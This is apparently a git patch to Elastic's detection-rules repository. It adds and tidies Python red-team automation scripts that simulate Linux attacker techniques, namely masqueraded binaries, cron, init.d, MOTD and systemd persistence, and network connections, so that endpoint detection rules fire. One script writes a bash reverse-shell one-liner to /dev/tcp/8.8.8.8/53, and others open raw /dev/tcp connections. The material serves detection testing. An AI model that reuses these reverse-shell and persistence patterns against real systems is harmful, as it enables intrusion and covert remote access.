From cb739fb1619ad5a1db4f9aaf250108bf32fd6280 Mon Sep 17 00:00:00 2001 From: protections machine <72879786+protectionsmachine@users.noreply.github.com> Date: Tue, 27 Aug 2024 04:27:42 +1000 Subject: [PATCH] Sync RTA Linux Production Tuning (#4014) --- rta/linux_cron_hidden_execution.py | 51 ++++++++++++++ rta/linux_discovery_command_from_sus_dir.py | 2 +- ...cution_hidden_process_unusual_execution.py | 18 ++--- ...ractive_shell_spawn_from_hidden_process.py | 18 ++--- ...xecution_setsid_nohup_unusual_execution.py | 18 ++--- rta/linux_motd_netcon.py | 60 +++++++++++++++++ ...rsistence_apt_package_manager_execution.py | 20 +++--- rta/linux_persistence_dpkg_netcon.py | 38 +++++------ rta/linux_persistence_initd_netcon.py | 18 ++--- ...sistence_initd_unusual_binary_execution.py | 25 +++---- ...ux_persistence_motd_netcon_parent_child.py | 30 ++++----- rta/linux_persistence_rpm_netcon.py | 32 ++++----- ...duled_task_executing_sus_located_binary.py | 18 ++--- rta/linux_python_netcon_file_creation.py | 67 +++++++++++++++++++ rta/linux_sus_netcon_command_exec.py | 45 +++++++++++++ rta/linux_sus_netcon_file_creation.py | 60 +++++++++++++++++ rta/linux_systemd_netcon.py | 59 ++++++++++++++++ ...unusual_scheduled_task_command_exection.py | 51 ++++++++++++++ 18 files changed, 512 insertions(+), 118 deletions(-) create mode 100644 rta/linux_cron_hidden_execution.py create mode 100644 rta/linux_motd_netcon.py create mode 100644 rta/linux_python_netcon_file_creation.py create mode 100644 rta/linux_sus_netcon_command_exec.py create mode 100644 rta/linux_sus_netcon_file_creation.py create mode 100644 rta/linux_systemd_netcon.py create mode 100644 rta/linux_unusual_scheduled_task_command_exection.py diff --git a/rta/linux_cron_hidden_execution.py b/rta/linux_cron_hidden_execution.py new file mode 100644 index 000000000..b1291a606 --- /dev/null +++ b/rta/linux_cron_hidden_execution.py @@ -0,0 +1,51 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import sys +from pathlib import Path + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="c2b89791-5c51-4965-a440-cd9905bfbe55", + platforms=["linux"], + endpoint=[ + { + "rule_name": "Hidden Payload Executed via Cron", + "rule_id": "e8b2afe5-37a9-468c-a6fb-f178d46cb698", + }, + ], + techniques=["T1053"], +) + + +@common.requires_os(*metadata.platforms) +def main() -> None: + # Path for the fake cron script + fake_cron = "/tmp/cron" + + # Create fake sh executable + masquerade = "/tmp/sh" + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + + # Create a fake cron script that launches sh + with Path(fake_cron).open("w", encoding="utf-8") as script: + script.write("#!/bin/bash\n") + script.write("/tmp/sh -c '/dev/shm/.foo'\n") + + # Make the script executable + common.execute(["chmod", "+x", fake_cron]) + + # Execute the fake cron script + common.log("Launching a shell that executes a hidden payload as a child of fake cron") + common.execute([fake_cron], timeout=5, kill=True, shell=True) # noqa: S604 + + # Cleanup + common.remove_file(fake_cron) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/linux_discovery_command_from_sus_dir.py b/rta/linux_discovery_command_from_sus_dir.py index f72f90bbf..ea9410b58 100644 --- a/rta/linux_discovery_command_from_sus_dir.py +++ b/rta/linux_discovery_command_from_sus_dir.py @@ -32,7 +32,7 @@ def main() -> None: common.copy_file(source, masquerade) # Create a fake executable that launches whoami - with Path(fake_executable).open("w") as script: + with Path(fake_executable).open("w", encoding="utf-8") as script: script.write("#!/bin/bash\n") script.write("/dev/shm/whoami\n") diff --git a/rta/linux_execution_hidden_process_unusual_execution.py b/rta/linux_execution_hidden_process_unusual_execution.py index 9ef58e447..6f62f40c0 100644 --- a/rta/linux_execution_hidden_process_unusual_execution.py +++ b/rta/linux_execution_hidden_process_unusual_execution.py @@ -3,8 +3,9 @@ # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. -from . import common -from . import RtaMetadata +import sys + +from . import RtaMetadata, common metadata = RtaMetadata( uuid="50efd72e-147a-4f24-8c36-f8d1d69a9cfc", @@ -12,24 +13,23 @@ metadata = RtaMetadata( endpoint=[ { "rule_name": "Suspicious Execution via a Hidden Process", - "rule_id": "c52891b5-8f83-4571-8e68-ea2601f46285" - } + "rule_id": "c52891b5-8f83-4571-8e68-ea2601f46285", + }, ], techniques=["T1059", "T1564", "T1071"], ) @common.requires_os(*metadata.platforms) -def main(): - +def main() -> None: common.log("Creating a fake hidden executable..") masquerade = "/tmp/.evil" source = common.get_path("bin", "netcon_exec_chain.elf") common.copy_file(source, masquerade) common.log("Granting execute permissions...") - common.execute(['chmod', '+x', masquerade]) + common.execute(["chmod", "+x", masquerade]) - commands = [masquerade, 'exec', '-c', '/dev/tcp'] + commands = [masquerade, "exec", "-c", "/dev/tcp"] common.execute([*commands], timeout=5, kill=True) common.log("Cleaning...") common.remove_file(masquerade) @@ -37,4 +37,4 @@ def main(): if __name__ == "__main__": - exit(main()) + sys.exit(main()) diff --git a/rta/linux_execution_interactive_shell_spawn_from_hidden_process.py b/rta/linux_execution_interactive_shell_spawn_from_hidden_process.py index 702bae91b..77cbc6924 100644 --- a/rta/linux_execution_interactive_shell_spawn_from_hidden_process.py +++ b/rta/linux_execution_interactive_shell_spawn_from_hidden_process.py @@ -3,8 +3,9 @@ # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. -from . import common -from . import RtaMetadata +import sys + +from . import RtaMetadata, common metadata = RtaMetadata( uuid="fd5fb7a8-398a-4322-ae28-8f88cce6aa88", @@ -12,24 +13,23 @@ metadata = RtaMetadata( endpoint=[ { "rule_name": "Interactive Shell Spawned via Hidden Process", - "rule_id": "52deef30-e633-49e1-9dd2-da1ad6cb5e43" - } + "rule_id": "52deef30-e633-49e1-9dd2-da1ad6cb5e43", + }, ], techniques=["T1059", "T1564"], ) @common.requires_os(*metadata.platforms) -def main(): - +def main() -> None: common.log("Creating a fake hidden executable..") masquerade = "/tmp/.evil" source = common.get_path("bin", "netcon_exec_chain.elf") common.copy_file(source, masquerade) common.log("Granting execute permissions...") - common.execute(['chmod', '+x', masquerade]) + common.execute(["chmod", "+x", masquerade]) - commands = [masquerade, 'exec', '-c', '-i'] + commands = [masquerade, "exec", "-c", "-i"] common.execute([*commands], timeout=5, kill=True) common.log("Cleaning...") common.remove_file(masquerade) @@ -37,4 +37,4 @@ def main(): if __name__ == "__main__": - exit(main()) + sys.exit(main()) diff --git a/rta/linux_execution_setsid_nohup_unusual_execution.py b/rta/linux_execution_setsid_nohup_unusual_execution.py index f6308b7d7..d2b07435a 100644 --- a/rta/linux_execution_setsid_nohup_unusual_execution.py +++ b/rta/linux_execution_setsid_nohup_unusual_execution.py @@ -3,8 +3,9 @@ # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. -from . import common -from . import RtaMetadata +import sys + +from . import RtaMetadata, common metadata = RtaMetadata( uuid="66ff975c-fa48-47c4-965a-8f363425369e", @@ -12,24 +13,23 @@ metadata = RtaMetadata( endpoint=[ { "rule_name": "Suspicious Execution via setsid and nohup", - "rule_id": "18d82674-08d0-408e-801b-468e1b06298f" - } + "rule_id": "18d82674-08d0-408e-801b-468e1b06298f", + }, ], techniques=["T1059", "T1071"], ) @common.requires_os(*metadata.platforms) -def main(): - +def main() -> None: common.log("Creating a fake nohup executable..") masquerade = "/tmp/nohup" source = common.get_path("bin", "netcon_exec_chain.elf") common.copy_file(source, masquerade) common.log("Granting execute permissions...") - common.execute(['chmod', '+x', masquerade]) + common.execute(["chmod", "+x", masquerade]) - commands = [masquerade, 'exec', '-c', '/dev/tcp'] + commands = [masquerade, "exec", "-c", "/dev/tcp"] common.execute([*commands], timeout=5, kill=True) common.log("Cleaning...") common.remove_file(masquerade) @@ -37,4 +37,4 @@ def main(): if __name__ == "__main__": - exit(main()) + sys.exit(main()) diff --git a/rta/linux_motd_netcon.py b/rta/linux_motd_netcon.py new file mode 100644 index 000000000..aedaf6daf --- /dev/null +++ b/rta/linux_motd_netcon.py @@ -0,0 +1,60 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import subprocess +import sys +import time +from pathlib import Path + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="6a3d9ca4-d010-42c7-b75a-7dc8ce347e59", + platforms=["linux"], + endpoint=[ + { + "rule_name": "Message of the Day Execution Followed by Network Connection", + "rule_id": "a18e57c9-5627-4535-b994-64febc67c1e8", + }, + ], + techniques=["T1037", "T1059", "T1071"], +) + + +@common.requires_os(*metadata.platforms) +def main() -> None: + parent_process_path = "/etc/update-motd.d/rta" + child_script_path = "/tmp/child.sh" + network_command = "exec 3<>/dev/tcp/8.8.8.8/53" + + # Create the fake parent process script + with Path(parent_process_path).open("w", encoding="utf-8") as parent_script: + parent_script.write("#!/bin/bash\n") + parent_script.write(f"{child_script_path}\n") + + # Create the child script that will make the network connection + with Path(child_script_path).open("w", encoding="utf-8") as child_script: + child_script.write("#!/bin/bash\n") + child_script.write(f"{network_command}\n") + + # Make the scripts executable + common.execute(["chmod", "+x", parent_process_path]) + common.execute(["chmod", "+x", child_script_path]) + + # Execute the parent process script + common.log("Executing the fake parent process script") + subprocess.Popen([parent_process_path]) # noqa: S603 + + # Allow some time for the network connection to be attempted + time.sleep(5) + common.log("RTA execution completed.") + + # Cleanup + common.remove_file(parent_process_path) + common.remove_file(child_script_path) + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/linux_persistence_apt_package_manager_execution.py b/rta/linux_persistence_apt_package_manager_execution.py index 21944b7f4..1cad124eb 100644 --- a/rta/linux_persistence_apt_package_manager_execution.py +++ b/rta/linux_persistence_apt_package_manager_execution.py @@ -3,8 +3,9 @@ # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. -from . import common -from . import RtaMetadata +import sys + +from . import RtaMetadata, common metadata = RtaMetadata( uuid="305b2daa-2ef4-4cdd-8ed2-d751174cbdcc", @@ -12,31 +13,30 @@ metadata = RtaMetadata( endpoint=[ { "rule_name": "APT Package Manager Command Execution", - "rule_id": "cd0844ea-6112-453f-a836-cc021a2b6afb" - } + "rule_id": "cd0844ea-6112-453f-a836-cc021a2b6afb", + }, ], techniques=["T1543", "T1059", "T1546"], ) @common.requires_os(*metadata.platforms) -def main(): - +def main() -> None: common.log("Creating a fake apt executable..") masquerade = "/tmp/apt" source = common.get_path("bin", "netcon_exec_chain.elf") common.copy_file(source, masquerade) common.log("Granting execute permissions...") - common.execute(['chmod', '+x', masquerade]) + common.execute(["chmod", "+x", masquerade]) common.log("Creating a fake openssl executable..") masquerade2 = "/tmp/openssl" source = common.get_path("bin", "linux.ditto_and_spawn") common.copy_file(source, masquerade2) common.log("Granting execute permissions...") - common.execute(['chmod', '+x', masquerade2]) + common.execute(["chmod", "+x", masquerade2]) - commands = [masquerade, 'exec', '-c', '/tmp/openssl'] + commands = [masquerade, "exec", "-c", "/tmp/openssl"] common.execute([*commands], timeout=5, kill=True) common.log("Cleaning...") @@ -47,4 +47,4 @@ def main(): if __name__ == "__main__": - exit(main()) + sys.exit(main()) diff --git a/rta/linux_persistence_dpkg_netcon.py b/rta/linux_persistence_dpkg_netcon.py index 08aca59f4..868cc349e 100644 --- a/rta/linux_persistence_dpkg_netcon.py +++ b/rta/linux_persistence_dpkg_netcon.py @@ -3,9 +3,10 @@ # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. -from . import common -from . import RtaMetadata -import os +import sys +from pathlib import Path + +from . import RtaMetadata, common metadata = RtaMetadata( uuid="3d387400-3fc4-457f-92cd-8ba77271b348", @@ -13,42 +14,41 @@ metadata = RtaMetadata( endpoint=[ { "rule_name": "Egress Network Connection from Default DPKG Directory", - "rule_id": "947b70bb-8e01-4f1b-994d-5af9488556bb" - } + "rule_id": "947b70bb-8e01-4f1b-994d-5af9488556bb", + }, ], techniques=["T1546", "T1543", "T1574", "T1195", "T1071"], ) @common.requires_os(*metadata.platforms) -def main(): - +def main() -> None: # Ensure the /var/lib/dpkg/info/ directory exists dpkg_info_dir = "/var/lib/dpkg/info/" - if not os.path.exists(dpkg_info_dir): + if not Path(dpkg_info_dir).exists(): common.log(f"Creating directory {dpkg_info_dir}") - os.makedirs(dpkg_info_dir) + Path(dpkg_info_dir).mkdir(parents=True, exist_ok=True) # Path for the fake DPKG package executable - masquerade = os.path.join(dpkg_info_dir, "rta") + masquerade = str(Path(dpkg_info_dir) / "rta") source = common.get_path("bin", "netcon_exec_chain.elf") common.log("Creating a fake DPKG package..") common.copy_file(source, masquerade) common.log("Granting execute permissions...") - common.execute(['chmod', '+x', masquerade]) + common.execute(["chmod", "+x", masquerade]) # Execute the fake DPKG package common.log("Executing the fake DPKG package..") commands = [ masquerade, - 'chain', - '-h', - '8.8.8.8', - '-p', - '53', - '-c', - '/var/lib/dpkg/info/rta netcon -h 8.8.8.8 -p 53' + "chain", + "-h", + "8.8.8.8", + "-p", + "53", + "-c", + "/var/lib/dpkg/info/rta netcon -h 8.8.8.8 -p 53", ] common.execute([*commands], timeout=5, kill=True) @@ -57,4 +57,4 @@ def main(): if __name__ == "__main__": - exit(main()) + sys.exit(main()) diff --git a/rta/linux_persistence_initd_netcon.py b/rta/linux_persistence_initd_netcon.py index 72e6e329b..8a883535a 100644 --- a/rta/linux_persistence_initd_netcon.py +++ b/rta/linux_persistence_initd_netcon.py @@ -3,8 +3,9 @@ # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. -from . import common -from . import RtaMetadata +import sys + +from . import RtaMetadata, common metadata = RtaMetadata( uuid="ac1f9204-f612-4d50-9de0-6dabcd589816", @@ -12,16 +13,15 @@ metadata = RtaMetadata( endpoint=[ { "rule_name": "System V Init (init.d) Egress Network Connection", - "rule_id": "b38eb534-230c-45f4-93ba-fc516ac51630" - } + "rule_id": "b38eb534-230c-45f4-93ba-fc516ac51630", + }, ], techniques=["T1037", "T1071"], ) @common.requires_os(*metadata.platforms) -def main(): - +def main() -> None: # Path for the fake initd executable masquerade = "/etc/init.d/rta" source = common.get_path("bin", "netcon_exec_chain.elf") @@ -29,11 +29,11 @@ def main(): common.log("Creating a fake initd executable..") common.copy_file(source, masquerade) common.log("Granting execute permissions...") - common.execute(['chmod', '+x', masquerade]) + common.execute(["chmod", "+x", masquerade]) # Execute the fake initd executable common.log("Executing the fake initd executable..") - commands = [masquerade, 'chain', '-h', '8.8.8.8', '-p', '53', '-c', '/etc/init.d/rta netcon -h 8.8.8.8 -p 53'] + commands = [masquerade, "chain", "-h", "8.8.8.8", "-p", "53", "-c", "/etc/init.d/rta netcon -h 8.8.8.8 -p 53"] common.execute([*commands], timeout=5, kill=True) # Cleanup @@ -41,4 +41,4 @@ def main(): if __name__ == "__main__": - exit(main()) + sys.exit(main()) diff --git a/rta/linux_persistence_initd_unusual_binary_execution.py b/rta/linux_persistence_initd_unusual_binary_execution.py index 3c55aa3f2..3357dbdf6 100644 --- a/rta/linux_persistence_initd_unusual_binary_execution.py +++ b/rta/linux_persistence_initd_unusual_binary_execution.py @@ -3,8 +3,10 @@ # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. -from . import common -from . import RtaMetadata +import sys +from pathlib import Path + +from . import RtaMetadata, common metadata = RtaMetadata( uuid="0560d795-bdd6-4a91-97ad-8e2c2d8143ef", @@ -12,16 +14,15 @@ metadata = RtaMetadata( endpoint=[ { "rule_name": "System V Init (init.d) Executed Binary from Unusual Location", - "rule_id": "879c083c-e2d9-4f75-84f2-0f1471d915a8" - } + "rule_id": "879c083c-e2d9-4f75-84f2-0f1471d915a8", + }, ], techniques=["T1037"], ) @common.requires_os(*metadata.platforms) -def main(): - +def main() -> None: # Path for the fake initd script initd_script = "/etc/init.d/rta" @@ -31,16 +32,16 @@ def main(): common.copy_file(source, masquerade) # Create a fake script that executes the fake binary - with open(initd_script, 'w') as script: - script.write('#!/bin/bash\n') - script.write('/dev/shm/evil\n') + with Path(masquerade).open("w", encoding="utf-8") as script: + script.write("#!/bin/bash\n") + script.write("/dev/shm/evil\n") # Make the script executable - common.execute(['chmod', '+x', initd_script]) + common.execute(["chmod", "+x", initd_script]) # Execute the fake script common.log("Launching fake initd script") - common.execute([initd_script], timeout=5, kill=True, shell=True) + common.execute([initd_script], timeout=5, kill=True, shell=True) # noqa: S604 # Cleanup common.remove_file(initd_script) @@ -48,4 +49,4 @@ def main(): if __name__ == "__main__": - exit(main()) + sys.exit(main()) diff --git a/rta/linux_persistence_motd_netcon_parent_child.py b/rta/linux_persistence_motd_netcon_parent_child.py index a6febf1c6..de4e1d792 100644 --- a/rta/linux_persistence_motd_netcon_parent_child.py +++ b/rta/linux_persistence_motd_netcon_parent_child.py @@ -3,8 +3,9 @@ # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. -from . import common -from . import RtaMetadata +import sys + +from . import RtaMetadata, common metadata = RtaMetadata( uuid="a67ba2b1-cace-4cb9-9b7e-12c9ffe136cb", @@ -12,16 +13,15 @@ metadata = RtaMetadata( endpoint=[ { "rule_name": "Egress Network Connection by MOTD Child", - "rule_id": "da02d81a-d432-4cfe-8aa4-fc1a31c29c98" - } + "rule_id": "da02d81a-d432-4cfe-8aa4-fc1a31c29c98", + }, ], techniques=["T1037", "T1059", "T1071"], ) @common.requires_os(*metadata.platforms) -def main(): - +def main() -> None: # Path for the fake motd executable masquerade = "/etc/update-motd.d/rta" source = common.get_path("bin", "netcon_exec_chain.elf") @@ -29,19 +29,19 @@ def main(): common.log("Creating a fake motd executable..") common.copy_file(source, masquerade) common.log("Granting execute permissions...") - common.execute(['chmod', '+x', masquerade]) + common.execute(["chmod", "+x", masquerade]) # Execute the fake motd executable common.log("Executing the fake motd executable..") commands = [ masquerade, - 'chain', - '-h', - '8.8.8.8', - '-p', - '53', - '-c', - '/etc/update-motd.d/rta netcon -h 8.8.8.8 -p 53' + "chain", + "-h", + "8.8.8.8", + "-p", + "53", + "-c", + "/etc/update-motd.d/rta netcon -h 8.8.8.8 -p 53", ] common.execute([*commands], timeout=5, kill=True) @@ -50,4 +50,4 @@ def main(): if __name__ == "__main__": - exit(main()) + sys.exit(main()) diff --git a/rta/linux_persistence_rpm_netcon.py b/rta/linux_persistence_rpm_netcon.py index 057fe043e..6caa3eac4 100644 --- a/rta/linux_persistence_rpm_netcon.py +++ b/rta/linux_persistence_rpm_netcon.py @@ -3,9 +3,10 @@ # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. -from . import common -from . import RtaMetadata -import os +import sys +from pathlib import Path + +from . import RtaMetadata, common metadata = RtaMetadata( uuid="535959a4-5bad-44d8-9ebd-003d7ed0733c", @@ -13,44 +14,43 @@ metadata = RtaMetadata( endpoint=[ { "rule_name": "Egress Network Connection from RPM Package", - "rule_id": "d20cd4ba-ff65-4e1c-8012-4241d449b16b" - } + "rule_id": "d20cd4ba-ff65-4e1c-8012-4241d449b16b", + }, ], techniques=["T1546", "T1543", "T1574", "T1195", "T1071"], ) @common.requires_os(*metadata.platforms) -def main(): - +def main() -> None: # Ensure the /var/tmp/ directory exists rpm_info_dir = "/var/tmp/" - if not os.path.exists(rpm_info_dir): + if not Path(rpm_info_dir).exists(): common.log(f"Creating directory {rpm_info_dir}") - os.makedirs(rpm_info_dir) + Path(rpm_info_dir).mkdir(parents=True, exist_ok=True) # Path for the fake RPM package executable - masquerade = os.path.join(rpm_info_dir, "rpm-tmp.rta") + masquerade = str(Path(rpm_info_dir) / "rpm-tmp.rta") source = common.get_path("bin", "netcon_exec_chain.elf") common.log("Creating a fake RPM package..") common.copy_file(source, masquerade) common.log("Granting execute permissions...") - common.execute(['chmod', '+x', masquerade]) + common.execute(["chmod", "+x", masquerade]) # Execute the fake RPM package common.log("Executing the fake RPM package..") commands = [ masquerade, - 'exec', - '-c', - 'exec /var/tmp/rpm-tmp.rta netcon -h 8.8.8.8 -p 53' + "exec", + "-c", + "exec /var/tmp/rpm-tmp.rta netcon -h 8.8.8.8 -p 53", ] - common.execute([*commands], timeout=5, kill=True, shell=True) + common.execute([*commands], timeout=5, kill=True, shell=True) # noqa: S604 # Cleanup common.remove_file(masquerade) if __name__ == "__main__": - exit(main()) + sys.exit(main()) diff --git a/rta/linux_persistence_scheduled_task_executing_sus_located_binary.py b/rta/linux_persistence_scheduled_task_executing_sus_located_binary.py index f5aa6c5af..9c3c81ff7 100644 --- a/rta/linux_persistence_scheduled_task_executing_sus_located_binary.py +++ b/rta/linux_persistence_scheduled_task_executing_sus_located_binary.py @@ -3,8 +3,9 @@ # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. -from . import common -from . import RtaMetadata +import sys + +from . import RtaMetadata, common metadata = RtaMetadata( uuid="5b9be46b-18f2-4b74-9003-36d763c5d887", @@ -12,24 +13,23 @@ metadata = RtaMetadata( endpoint=[ { "rule_name": "Scheduled Job Executing Binary in Unusual Location", - "rule_id": "f2a52d42-2410-468b-9910-26823c6ef822" - } + "rule_id": "f2a52d42-2410-468b-9910-26823c6ef822", + }, ], techniques=["T1543", "T1053", "T1543"], ) @common.requires_os(*metadata.platforms) -def main(): - +def main() -> None: common.log("Creating a fake cron executable..") masquerade = "/tmp/cron" source = common.get_path("bin", "netcon_exec_chain.elf") common.copy_file(source, masquerade) common.log("Granting execute permissions...") - common.execute(['chmod', '+x', masquerade]) + common.execute(["chmod", "+x", masquerade]) - commands = [masquerade, 'exec', '-c', '/dev/shm/foo'] + commands = [masquerade, "exec", "-c", "/dev/shm/foo"] common.execute([*commands], timeout=5, kill=True) common.log("Cleaning...") common.remove_file(masquerade) @@ -37,4 +37,4 @@ def main(): if __name__ == "__main__": - exit(main()) + sys.exit(main()) diff --git a/rta/linux_python_netcon_file_creation.py b/rta/linux_python_netcon_file_creation.py new file mode 100644 index 000000000..835442e5b --- /dev/null +++ b/rta/linux_python_netcon_file_creation.py @@ -0,0 +1,67 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import socket +import sys +from pathlib import Path + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="d1ad870e-9b38-429b-bc9c-62b4b9ba2821", + platforms=["linux"], + endpoint=[ + { + "rule_name": "Python Network Connection Followed by File Creation", + "rule_id": "1a2596ff-a5e7-4562-af17-97dbaf9284d5", + }, + ], + techniques=["T1071", "T1059"], +) + + +@common.requires_os(*metadata.platforms) +def main() -> None: + # Define the paths + masquerade = "/dev/shm/python" + file_path = "/dev/shm/file" + + # Create a fake Python executable by copying a valid executable + with Path(masquerade).open("w", encoding="utf-8") as f: + f.write("#!/bin/bash\n") + f.write('exec python "$@"\n') + + # Grant execute permissions + Path(masquerade).chmod(0o755) + + # Perform a network connection to 8.8.8.8 + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(1) + sock.connect(("8.8.8.8", 53)) + sock.close() + print("Network connection successful.") + except OSError as e: + print(f"Network connection failed: {e}") + + # Create a file using the Python process + try: + with Path(file_path).open("w", encoding="utf-8") as f: + f.write("foo") + print("File creation successful.") + except OSError as e: + print(f"File creation failed: {e}") + + # Clean up + try: + common.remove_file(masquerade) + common.remove_file(file_path) + print("Cleanup successful.") + except OSError as e: + print(f"Cleanup failed: {e}") + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/linux_sus_netcon_command_exec.py b/rta/linux_sus_netcon_command_exec.py new file mode 100644 index 000000000..1224567db --- /dev/null +++ b/rta/linux_sus_netcon_command_exec.py @@ -0,0 +1,45 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import sys + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="1b24ddc7-c01c-4d24-a00e-0738a40b6dd6", + platforms=["linux"], + endpoint=[ + { + "rule_name": "Network Connection Followed by Command Execution", + "rule_id": "8c2977dd-07ce-4a8e-8ccd-5e4183138675", + }, + ], + techniques=["T1071", "T1059"], +) + + +@common.requires_os(*metadata.platforms) +def main() -> None: + common.log("Creating a fake executable..") + masquerade = "/dev/shm/netcon" + masquerade2 = "/dev/shm/bash" + source = common.get_path("bin", "netcon_exec_chain.elf") + source2 = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + common.copy_file(source2, masquerade2) + common.log("Granting execute permissions...") + common.execute(["chmod", "+x", masquerade]) + common.execute(["chmod", "+x", masquerade2]) + + commands = [masquerade2, masquerade, "chain", "-h", "8.8.8.8", "-p", "53", "-c", "whoami"] + common.execute([*commands], timeout=5, kill=True, shell=True) # noqa: S604 + common.log("Cleaning...") + common.remove_file(masquerade) + common.remove_file(masquerade2) + common.log("Simulation successfull!") + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/linux_sus_netcon_file_creation.py b/rta/linux_sus_netcon_file_creation.py new file mode 100644 index 000000000..da8899120 --- /dev/null +++ b/rta/linux_sus_netcon_file_creation.py @@ -0,0 +1,60 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import sys +from pathlib import Path + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="41d3cdaf-a72e-49bb-b92f-99bfe21e0854", + platforms=["linux"], + endpoint=[ + { + "rule_name": "Network Connection Followed by File Creation", + "rule_id": "08ad673a-7f99-417e-8b93-a79d4faeeed3", + }, + ], + techniques=["T1071", "T1059"], +) + + +@common.requires_os(*metadata.platforms) +def main() -> None: + script_path = "/dev/shm/evil" + file_path = "/dev/shm/evil.txt" + + # Create a bash script that performs network connection and file creation + script_content = f"""#!/bin/bash +# Perform network connection using bash built-in tools +exec 3<>/dev/tcp/8.8.8.8/53 +# Create a file +echo "Hello, World!" > {file_path} +""" + + # Write the script content to the file + with Path(script_path).open("w", encoding="utf-8") as script_file: + script_file.write(script_content) + + # Grant execute permissions to the script + Path(script_path).chmod(0o755) + + # Execute the script + common.log("Executing the bash script...") + common.execute([script_path], timeout=5, kill=True) + + # Verify if the file was created + if Path(file_path).exists(): + common.log("File creation successful.") + + # Clean up + common.log("Cleaning up...") + common.remove_file(script_path) + common.remove_file(file_path) + common.log("Cleanup successful.") + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/linux_systemd_netcon.py b/rta/linux_systemd_netcon.py new file mode 100644 index 000000000..c59b79ee1 --- /dev/null +++ b/rta/linux_systemd_netcon.py @@ -0,0 +1,59 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import os +import sys +from pathlib import Path + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="517a466b-f11f-4469-8e5a-a39f4edf333a", + platforms=["linux"], + endpoint=[ + { + "rule_name": "Systemd Execution Followed by Network Connection", + "rule_id": "6644d936-36a2-4d21-95f3-4826e6b61b9b", + }, + ], + techniques=["T1543", "T1059", "T1071"], +) + + +@common.requires_os(*metadata.platforms) +def main() -> None: + shell_command = "/tmp/bash" + shell_args = "-c 'sh -i >& /dev/tcp/8.8.8.8/53 0>&1'" + parent_process = "/tmp/systemd" + + common.execute(["cp", "/bin/bash", shell_command]) + + # Create the fake parent process script + with Path(parent_process).open("w", encoding="utf-8") as script: + script.write("#!/bin/bash\n") + script.write(f"{shell_command} {shell_args}\n") + + # Make the script executable + common.execute(["chmod", "+x", parent_process]) + common.execute(["chmod", "+x", shell_command]) + + # Use os.fork() to simulate the parent/child relationship + pid = os.fork() + if pid == 0: + # Child process: Execute the fake parent process script + os.execl(parent_process, parent_process) # noqa: S606 + else: + # Parent process: Wait for the child process to complete + os.waitpid(pid, 0) + common.log("Fake parent process script executed") + common.log("RTA execution completed.") + + # Cleanup + common.remove_file(parent_process) + common.remove_file(shell_command) # Remove the copied /tmp/bash + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/rta/linux_unusual_scheduled_task_command_exection.py b/rta/linux_unusual_scheduled_task_command_exection.py new file mode 100644 index 000000000..42124477a --- /dev/null +++ b/rta/linux_unusual_scheduled_task_command_exection.py @@ -0,0 +1,51 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import sys +from pathlib import Path + +from . import RtaMetadata, common + +metadata = RtaMetadata( + uuid="0c55d2bd-924b-44a0-8f75-8fb6fc2427bf", + platforms=["linux"], + endpoint=[ + { + "rule_name": "Scheduled Task Unusual Command Execution", + "rule_id": "46b142a6-3d54-45e7-ad8a-7a4bc9bfe01c", + }, + ], + techniques=["T1053", "T1543", "T1059", "T1071"], +) + + +@common.requires_os(*metadata.platforms) +def main() -> None: + # Path for the fake systemd script + fake_systemd = "/tmp/systemd" + + # Create fake sh executable + masquerade = "/tmp/sh" + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + + # Create a fake cron script that launches sh + with Path(fake_systemd).open("w", encoding="utf-8") as script: + script.write("#!/bin/bash\n") + script.write('/tmp/sh -c "echo /dev/tcp/8.8.8.8/53"\n') + + # Make the script executable + common.execute(["chmod", "+x", fake_systemd]) + + # Execute the fake cron script + common.log("Launching a shell that executes a payload as a child of fake systemd") + common.execute([fake_systemd], timeout=5, kill=True, shell=True) # noqa: S604 + + # Cleanup + 